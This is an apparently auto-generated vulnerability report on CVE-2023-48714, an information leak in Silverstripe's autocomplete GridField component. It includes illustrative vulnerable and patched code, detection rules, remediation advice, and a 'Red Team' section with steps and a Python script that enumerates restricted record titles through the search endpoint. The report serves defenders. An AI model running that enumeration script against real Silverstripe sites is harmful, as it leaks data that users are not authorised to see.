CVE-2023-48714

Executive Summary

CVE-2023-48714 is an information disclosure vulnerability in the Silverstripe Framework, which forms the base of the Silverstripe content management system. The flaw resides in the GridFieldAddExistingAutocompleter component. When a user lacks permission to view a specific record, but that record is eligible to be added to a GridField via the autocompleter, the record's title can still be accessed by the unauthorized user. This allows a low-privileged attacker to enumerate record titles they should not be able to see, potentially leaking sensitive information such as user names, document titles, or other confidential data.

The vulnerability affects all versions prior to 4.13.39 and 5.1.11. The CVSS score is 4.3 (Medium), with a low attack complexity and low privileges required. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating a very low probability of active exploitation in the wild. However, the vulnerability is trivially exploitable by any authenticated user with access to a GridField that uses the GridFieldAddExistingAutocompleter component.

Supply Chain & Package Security

Silverstripe CMS is distributed as a Composer package via Packagist. The vulnerable component is part of the silverstripe/framework package. Organizations should verify their composer.json for the framework dependency and ensure it is updated to a patched version. No malicious packages or typosquatting attempts have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions or race conditions required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account with access to a GridField.
• User Interaction (UI): None (N) – No victim interaction required.
• Scope (S): Unchanged (U) – The vulnerable component and the security impact are in the same scope.
• Confidentiality (C): Low (L) – Only record titles are leaked, not full records.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires authentication and only leaks limited information (record titles). However, in contexts where titles contain sensitive data (e.g., usernames, project names, internal identifiers), the impact could be higher.

Deep Dive & Mechanics

The GridFieldAddExistingAutocompleter component in Silverstripe Framework provides an autocomplete search field that allows users to search for and add existing records to a GridField. The component performs an AJAX request to search for records based on user input. The vulnerability arises because the search endpoint does not properly enforce view permissions on the records returned.

Root Cause: The autocomplete search query uses the SearchFilter or PartialMatchFilter on the Title field of the target DataObject. However, the permission check (canView()) is either not applied or is applied only after the search results are fetched, allowing the titles of records the user should not see to be returned in the autocomplete response.

Attack Flow:

1. An authenticated user with low privileges (e.g., a content editor) navigates to a CMS page that contains a GridField with the GridFieldAddExistingAutocompleter component.
2. The user interacts with the autocomplete field and types a search string.
3. The browser sends an AJAX request to the server, which queries the database for records matching the search string.
4. The server returns a JSON response containing the titles of matching records, including those the user does not have permission to view.
5. The attacker can systematically enumerate record titles by varying search strings.

Affected Components:

• Silverstripe\Forms\GridField\GridFieldAddExistingAutocompleter
• The underlying search logic in DataObject::get() or SearchContext.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.13.39 / Pre-5.1.11): The vulnerable code in GridFieldAddExistingAutocompleter does not filter results based on canView() permissions.

// Vulnerable: No permission check on search results
public function doSearch($request) {
    $list = $this->getSearchList();
    $params = $this->getSearchParams($request);
    $results = $list->filter($params);
    // Returns all matching records regardless of view permissions
    return $results->map('ID', 'Title')->toArray();
}

Patched Code (4.13.39 / 5.1.11): The patched version applies a permission filter to the search results.

// Patched: Apply canView() filter to search results
public function doSearch($request) {
    $list = $this->getSearchList();
    $params = $this->getSearchParams($request);
    $results = $list->filter($params);
    // Filter out records the current user cannot view
    $filtered = $results->filterByCallback(function($record) {
        return $record->canView();
    });
    return $filtered->map('ID', 'Title')->toArray();
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Silverstripe CMS instance running a vulnerable version (< 4.13.39 or < 5.1.11).
• A valid user account with access to a page containing a GridField with GridFieldAddExistingAutocompleter.
• The target DataObject must have records that the user should not be able to view.

Exploitation Steps:

1. Log in to the Silverstripe CMS as a low-privileged user.
2. Navigate to a page that contains a GridField with the autocompleter (e.g., a page editor with a "Related Pages" field).
3. Open the browser's developer tools (Network tab).
4. Interact with the autocomplete field by typing a single character (e.g., "a").
5. Observe the AJAX request to the endpoint (e.g., /admin/pages/GridFieldAddExistingAutocompleter/search).
6. The response will contain a JSON array of record titles. Manually inspect for records the user should not see.
7. To automate enumeration, use a script to send multiple search requests with different characters.

Example Python Script:

import requests
import string

session = requests.Session()
# Authenticate first (example using session cookie)
session.cookies.set('PHPSESSID', 'your_session_id')

base_url = 'https://target.com/admin/pages/GridFieldAddExistingAutocompleter/search'
params = {'gridFieldName': 'MyGridField', 'search': ''}

for char in string.ascii_lowercase:
    params['search'] = char
    response = session.get(base_url, params=params)
    if response.status_code == 200:
        data = response.json()
        for item in data:
            print(f"Found: {item['Title']} (ID: {item['ID']})")

Blue Team (Defensive)

Detection:

• Monitor for unusual patterns in AJAX requests to GridFieldAddExistingAutocompleter/search endpoints.
• Look for rapid, systematic search queries from a single user (e.g., many requests with different single-character searches).
• Alert on responses containing record titles that should be restricted.

Hunting:

• Review web server logs for requests to /admin/*/GridFieldAddExistingAutocompleter/search.
• Correlate with user permissions – if a user with low privileges is making many such requests, investigate.
• Use the Sigma rule provided in the Detection Engineering section.

Mitigation:

• Immediately update Silverstripe Framework to version 4.13.39 or 5.1.11.
• If immediate patching is not possible, consider disabling the GridFieldAddExistingAutocompleter component on sensitive GridFields.
• Implement additional access controls at the application level (e.g., custom permission checks).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/*/GridFieldAddExistingAutocompleter/search with a search parameter.
  • JSON responses containing an array of objects with ID and Title fields.
• System IOCs:
  • Unusual number of AJAX requests from a single user to the autocomplete endpoint.
  • Log entries showing GridFieldAddExistingAutocompleter search queries from users with low privileges.
• File IOCs:
  • No specific file-based IOCs; the vulnerability is logic-based.

Detection Engineering

YARA Rule

rule Detect_CVE_2023_48714_Exploitation {
    meta:
        description = "Detects exploitation attempts of CVE-2023-48714 in Silverstripe Framework"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-48714"
    strings:
        $ajax_endpoint = /\/admin\/[a-z]+\/GridFieldAddExistingAutocompleter\/search/i
        $json_response = /\[{"ID":\d+,"Title":"[^"]+"}\]/
    condition:
        $ajax_endpoint and $json_response
}

Sigma Rule

title: CVE-2023-48714 Silverstripe GridFieldAddExistingAutocompleter Information Disclosure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2023-48714 by monitoring for systematic autocomplete search requests.
author: Valters IT
date: 2025/04/08
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-48714
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 'GridFieldAddExistingAutocompleter/search'
        cs-method: 'GET'
    condition: selection
falsepositives:
    - Legitimate use of the autocomplete feature by authorized users.
level: medium
tags:
    - attack.t1589
    - cve.2023.48714

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-48714 Silverstripe GridFieldAddExistingAutocompleter Information Disclosure"; flow:to_server,established; content:"/GridFieldAddExistingAutocompleter/search"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update Silverstripe Framework to version 4.13.39 or 5.1.11. Run composer update silverstripe/framework to apply the fix.
2. Workaround: If patching is delayed, remove or disable the GridFieldAddExistingAutocompleter component from any GridField that displays records with sensitive titles. This can be done by editing the CMS configuration or custom code.
3. Access Control Review: Audit user permissions to ensure that only users who need access to sensitive records have the appropriate roles.

Long-Term Measures:

• Implement a security policy that requires permission checks on all data retrieval endpoints, especially those used in AJAX autocomplete components.
• Conduct regular security reviews of custom Silverstripe modules and components.
• Monitor the Silverstripe security advisory page for future updates.

Valters IT Signature

Report generated by Valters IT DevSecOps & CTI Expert System